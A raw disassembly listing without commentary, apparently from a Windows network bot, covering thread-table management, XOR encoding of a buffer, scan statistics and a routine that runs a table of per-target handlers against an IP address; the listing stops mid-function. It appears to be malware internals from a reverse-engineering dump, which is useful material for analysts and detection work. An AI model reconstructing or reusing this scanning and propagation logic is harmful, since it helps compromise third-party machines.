push ebx
call sub_40B11C
pop ecx
pop ecx
push eax
push esi
call sub_40B13C
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B2B3
push esi
mov edi, eax
call sub_41BA91
add esp, 24h
mov eax, edi
pop esi
loc_40B294: ; CODE XREF: sub_40B22B+22j
pop edi
pop ebx
pop ebp
retn
sub_40B22B endp
; =============== S U B R O U T I N E =======================================
sub_40B298 proc near ; CODE XREF: sub_40B214+Ep
; sub_40B2B3+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B2A1
inc ecx
loc_40B2A1: ; CODE XREF: sub_40B298+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B2D2
loc_40B2CF: ; CODE XREF: sub_40B2B3+8j
; sub_40B2B3+Ej ...
inc [ebp+arg_C]
loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B2FA
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B2F3
cmp al, 0Dh
jz short loc_40B2F3
cmp al, 5Ch
jz short loc_40B2F3
test al, al
jnz short loc_40B2FA
loc_40B2F3: ; CODE XREF: sub_40B2B3+32j
; sub_40B2B3+36j ...
add [ebp+arg_C], 100h
loc_40B2FA: ; CODE XREF: sub_40B2B3+28j
; sub_40B2B3+3Ej
push [ebp+arg_C]
call sub_40B298
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B312
cmp eax, 0FFFFh
jbe short loc_40B319
loc_40B312: ; CODE XREF: sub_40B2B3+56j
xor eax, eax
jmp loc_40B3B7
; ---------------------------------------------------------------------------
loc_40B319: ; CODE XREF: sub_40B2B3+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4CBB18
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B349
loc_40B32D: ; CODE XREF: sub_40B2B3+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B340
cmp al, 0Ah
jz short loc_40B340
cmp al, 0Dh
jz short loc_40B340
cmp al, 5Ch
jnz short loc_40B344
loc_40B340: ; CODE XREF: sub_40B2B3+7Fj
; sub_40B2B3+83j ...
inc bl
xor edx, edx
loc_40B344: ; CODE XREF: sub_40B2B3+8Bj
inc edx
cmp edx, ecx
jb short loc_40B32D
loc_40B349: ; CODE XREF: sub_40B2B3+78j
cmp ecx, esi
mov byte_4CBB18, bl
ja short loc_40B375
push 15h
push offset loc_4316A0
push [ebp+arg_0]
mov byte_4316AD, cl
mov byte_4316B1, bl
call sub_41CD20
add esp, 0Ch
push 15h
jmp short loc_40B396
; ---------------------------------------------------------------------------
loc_40B375: ; CODE XREF: sub_40B2B3+9Ej
push 17h
push offset loc_431688
push [ebp+arg_0]
mov word_431696, cx
mov byte_43169B, bl
call sub_41CD20
add esp, 0Ch
push 17h
loc_40B396: ; CODE XREF: sub_40B2B3+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B3B2
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B3A4
loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B3B7: ; CODE XREF: sub_40B2B3+61j
pop esi
leave
retn
sub_40B2B3 endp
; =============== S U B R O U T I N E =======================================
sub_40B3BA proc near ; CODE XREF: sub_401221+378p
; sub_401221+3B7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E710
loc_40B3C2: ; CODE XREF: sub_40B3BA+18j
cmp byte ptr [eax], 0
jz short loc_40B3D6
add eax, 234h
inc edi
cmp eax, offset dword_4CB710
jl short loc_40B3C2
jmp short loc_40B421
; ---------------------------------------------------------------------------
loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E710[esi]
push eax
call sub_41BFD0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E910[esi], eax
and dword_43E914[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E918[esi], 0
mov dword_43E91C[esi], eax
and byte_43E928[esi], 0
pop esi
loc_40B421: ; CODE XREF: sub_40B3BA+1Aj
mov eax, edi
pop edi
retn
sub_40B3BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B425 proc near ; DATA XREF: sub_401ACD+2946o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40B477
push [ebp+var_14]
call sub_40B6D6
add esp, 14h
push 0
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_40B425 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B477 proc near ; CODE XREF: sub_40B425+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_43177C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
xor edi, edi
mov esi, offset dword_43E710
loc_40B4A1: ; CODE XREF: sub_40B477+78j
cmp byte ptr [esi], 0
jz short loc_40B4E2
cmp [ebp+arg_C], 0
jnz short loc_40B4B5
cmp dword ptr [esi+204h], 0
jnz short loc_40B4E2
loc_40B4B5: ; CODE XREF: sub_40B477+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
loc_40B4E2: ; CODE XREF: sub_40B477+2Dj
; sub_40B477+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B4A1
pop edi
pop esi
leave
retn
sub_40B477 endp
; =============== S U B R O U T I N E =======================================
sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp
; sub_40B583+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B57D
cmp esi, 400h
jge short loc_40B57D
imul esi, 234h
push edi
push ebx
push dword_43E924[esi]
lea edi, dword_43E924[esi]
call dword_4270B4 ; TerminateThread
cmp [edi], ebx
jz short loc_40B52D
push 1
pop ebp
loc_40B52D: ; CODE XREF: sub_40B4F5+33j
mov [edi], ebx
lea edi, dword_43E918[esi]
mov dword_43E910[esi], ebx
mov dword_43E914[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B54E
push eax
call sub_419F16
pop ecx
loc_40B54E: ; CODE XREF: sub_40B4F5+50j
mov [edi], ebx
lea edi, dword_43E91C[esi]
mov byte ptr dword_43E710[esi], bl
mov byte_43E928[esi], bl
push dword ptr [edi]
call dword_4CBA6C ; closesocket
lea esi, dword_43E920[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CBA6C ; closesocket
mov [esi], ebx
pop edi
loc_40B57D: ; CODE XREF: sub_40B4F5+Dj
; sub_40B4F5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B4F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B583 proc near ; CODE XREF: sub_40111D+18p
; sub_401221:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43E710
loc_40B58F: ; CODE XREF: sub_40B583+2Aj
cmp byte ptr [esi], 0
jz short loc_40B5A0
push edi
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5A0
inc ebx
loc_40B5A0: ; CODE XREF: sub_40B583+Fj
; sub_40B583+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CB710
jl short loc_40B58F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p
; sub_401ACD+4302p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43E914
loc_40B5C9: ; CODE XREF: sub_40B5B5+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B5EB
test edi, edi
jle short loc_40B5DD
cmp [esi], edi
jz short loc_40B5DD
cmp ebx, edi
jnz short loc_40B5EB
loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej
; sub_40B5B5+22j
push ebx
call sub_40B4F5
test eax, eax
pop ecx
jz short loc_40B5EB
inc [ebp+var_4]
loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj
; sub_40B5B5+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CB914
jl short loc_40B5C9
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B5B5 endp
; =============== S U B R O U T I N E =======================================
sub_40B602 proc near ; CODE XREF: sub_401221+40Fp
; sub_401ACD+95Ep ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43E910
loc_40B609: ; CODE XREF: sub_40B602+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B612
inc eax
loc_40B612: ; CODE XREF: sub_40B602+Dj
add ecx, 234h
cmp ecx, offset dword_4CB910
jl short loc_40B609
retn
sub_40B602 endp
; =============== S U B R O U T I N E =======================================
sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43E910
loc_40B62B: ; CODE XREF: sub_40B621+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B644
add ecx, 234h
inc edx
cmp ecx, offset dword_4CB910
jl short loc_40B62B
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B644: ; CODE XREF: sub_40B621+10j
mov eax, edx
pop esi
retn
sub_40B621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp
; sub_401ACD+125Bp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B661
push [ebp+arg_1C]
call sub_41C159
pop ecx
loc_40B661: ; CODE XREF: sub_40B648+Ej
push eax
push [ebp+arg_18]
call sub_40B5B5
pop ecx
test eax, eax
pop ecx
jle short loc_40B68D
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41C266
add esp, 14h
jmp short loc_40B6A7
; ---------------------------------------------------------------------------
loc_40B68D: ; CODE XREF: sub_40B648+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41C266
add esp, 10h
loc_40B6A7: ; CODE XREF: sub_40B648+43j
cmp [ebp+arg_C], 0
jnz short loc_40B6C7
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40B6C7: ; CODE XREF: sub_40B648+63j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
leave
retn
sub_40B648 endp
; =============== S U B R O U T I N E =======================================
sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p
; sub_40B425+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43E924[eax], ecx
mov dword_43E910[eax], ecx
mov dword_43E914[eax], ecx
mov dword_43E918[eax], ecx
mov dword_43E91C[eax], ecx
mov dword_43E920[eax], ecx
mov byte ptr dword_43E710[eax], cl
mov byte_43E928[eax], cl
retn
sub_40B6D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp
; sub_40B841+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B71D: ; CODE XREF: sub_40B713+68j
mov cl, [esi]
test cl, cl
jz short loc_40B77D
cmp eax, 1
jnz short loc_40B77D
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B77D
cmp cl, 2Ah
jz short loc_40B764
cmp cl, 3Fh
jz short loc_40B747
cmp cl, 5Bh
jz short loc_40B74C
xor eax, eax
cmp cl, dl
setz al
loc_40B747: ; CODE XREF: sub_40B713+26j
inc [ebp+arg_4]
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B74C: ; CODE XREF: sub_40B713+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B7A9
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B777
; ---------------------------------------------------------------------------
loc_40B764: ; CODE XREF: sub_40B713+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B841
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B777: ; CODE XREF: sub_40B713+37j
; sub_40B713+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B71D
; ---------------------------------------------------------------------------
loc_40B77D: ; CODE XREF: sub_40B713+Ej
; sub_40B713+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B78D
cmp eax, 1
jnz short loc_40B7A4
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B77D
; ---------------------------------------------------------------------------
loc_40B78D: ; CODE XREF: sub_40B713+6Dj
cmp eax, 1
jnz short loc_40B7A4
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B7A4
cmp byte ptr [esi], 0
jnz short loc_40B7A4
push 1
pop eax
jmp short loc_40B7A6
; ---------------------------------------------------------------------------
loc_40B7A4: ; CODE XREF: sub_40B713+72j
; sub_40B713+7Dj ...
xor eax, eax
loc_40B7A6: ; CODE XREF: sub_40B713+8Fj
pop esi
pop ebp
retn
sub_40B713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B7CA
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B7CA: ; CODE XREF: sub_40B7A9+19j
push ebx
push esi
loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B7DA
cmp [ebp+var_4], eax
jnz short loc_40B826
loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj
test edi, edi
jnz short loc_40B81B
cmp bl, 2Dh
jnz short loc_40B80F
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B80F
cmp al, 5Dh
jz short loc_40B80F
cmp [ebp+var_4], edi
jnz short loc_40B80F
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B81B
cmp bl, al
jg short loc_40B81B
push 1
mov [edx], esi
pop edi
jmp short loc_40B81B
; ---------------------------------------------------------------------------
loc_40B80F: ; CODE XREF: sub_40B7A9+38j
; sub_40B7A9+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B81B
push 1
pop edi
loc_40B81B: ; CODE XREF: sub_40B7A9+33j
; sub_40B7A9+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B7CC
; ---------------------------------------------------------------------------
loc_40B826: ; CODE XREF: sub_40B7A9+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B833
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B833: ; CODE XREF: sub_40B7A9+82j
cmp edi, eax
jnz short loc_40B83C
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B7A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B841 proc near ; CODE XREF: sub_40B713+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B85D: ; CODE XREF: sub_40B841+3Aj
cmp [eax], bl
jz short loc_40B87D
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B872
cmp cl, 2Ah
jnz short loc_40B87D
cmp cl, 3Fh
jnz short loc_40B875
loc_40B872: ; CODE XREF: sub_40B841+25j
inc eax
mov [edi], eax
loc_40B875: ; CODE XREF: sub_40B841+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B85D
; ---------------------------------------------------------------------------
loc_40B87D: ; CODE XREF: sub_40B841+1Ej
; sub_40B841+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B888
inc dword ptr [esi]
jmp short loc_40B87D
; ---------------------------------------------------------------------------
loc_40B888: ; CODE XREF: sub_40B841+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B8A9
mov edx, [esi]
cmp [edx], bl
jz short loc_40B89A
xor eax, eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B89A: ; CODE XREF: sub_40B841+53j
cmp cl, bl
jnz short loc_40B8A9
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B8A9
push 1
pop eax
jmp short loc_40B909
; ---------------------------------------------------------------------------
loc_40B8A9: ; CODE XREF: sub_40B841+4Dj
; sub_40B841+5Bj ...
push eax
push dword ptr [esi]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8F3
loc_40B8B7: ; CODE XREF: sub_40B841+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B8BB: ; CODE XREF: sub_40B841+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B8D3
cmp cl, 5Bh
jz short loc_40B8D3
cmp dl, bl
jz short loc_40B8D3
inc eax
mov [edi], eax
jmp short loc_40B8BB
; ---------------------------------------------------------------------------
loc_40B8D3: ; CODE XREF: sub_40B841+82j
; sub_40B841+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B8EA
push eax
push dword ptr [esi]
call sub_40B713
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B8EF
; ---------------------------------------------------------------------------
loc_40B8EA: ; CODE XREF: sub_40B841+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B8EF: ; CODE XREF: sub_40B841+A7j
cmp eax, ebx
jnz short loc_40B8B7
loc_40B8F3: ; CODE XREF: sub_40B841+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B906
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B906
mov [ebp+var_4], 1
loc_40B906: ; CODE XREF: sub_40B841+B6j
; sub_40B841+BCj
mov eax, [ebp+var_4]
loc_40B909: ; CODE XREF: sub_40B841+57j
; sub_40B841+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431B94
push eax
xor ebx, ebx
call sub_41C266
cmp dword_4317F8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B980
push esi
mov esi, offset dword_431800
loc_40B941: ; CODE XREF: sub_40B90E+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B976
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431B88
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
add esp, 1Ch
loc_40B976: ; CODE XREF: sub_40B90E+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B941
pop esi
loc_40B980: ; CODE XREF: sub_40B90E+2Bj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41C266
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B90E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE4E0
mov ecx, dword_4CE4DC
push esi
push dword_4CB714
lea esi, [ecx+eax]
call sub_41ADD8
pop ecx
push eax
push esi
push dword_4CE4E0
lea eax, [ebp+var_200]
push dword_4CE4DC
push offset unk_431BB4
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 30h
pop esi
leave
retn
sub_40B9DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE718
push offset unk_431BFC
push eax
call sub_41C266
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_200]
push eax
call sub_415D38
add esp, 28h
leave
retn
sub_40BA49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push edi
lea eax, [ebp+var_800]
push offset dword_431C48
push eax
call sub_41C266
cmp dword_4317F8, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BB0A
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BAD3: ; CODE XREF: sub_40BA9E+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431C38
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BAD3
pop esi
loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj
push dword_4CB714
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41C266
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41CBC0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_800]
push eax
call sub_415D38
add esp, 30h
pop edi
leave
retn
sub_40BA9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB65 proc near ; DATA XREF: sub_401ACD+309Ao
var_3F0 = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+var_134]
push eax
call dword_4CBA14 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_4317F8, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40BCC7
mov ebx, offset dword_4317F8
mov eax, ebx
loc_40BBB6: ; CODE XREF: sub_40BB65+15Cj
push [ebp+var_1C]
push dword ptr [eax]
push [ebp+var_8]
call sub_40C34B
add esp, 0Ch
cmp eax, 1
jnz loc_40BCB7
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp+var_134]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp+var_3F0]
push offset unk_431C98
push eax
call sub_41C266
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409869
lea eax, [ebp+var_3F0]
push eax
call sub_415D38
add esp, 2Ch
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_1EC]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_15C]
pop ecx
push esi
push eax
call sub_41C266
cmp [ebp+var_A4], 0
pop ecx
pop ecx
lea eax, [ebp+var_A4]
jnz short loc_40BC52
lea eax, [ebp+var_124]
loc_40BC52: ; CODE XREF: sub_40BB65+E5j
push eax
lea eax, [ebp+var_1DC]
push eax
call sub_41C266
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40BCB7: ; CODE XREF: sub_40BB65+64j
inc [ebp+arg_0]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BBB6
loc_40BCC7: ; CODE XREF: sub_40BB65+44j
push [ebp+var_4]
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_3F0]
push offset unk_431C64
push eax
call sub_41C266
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
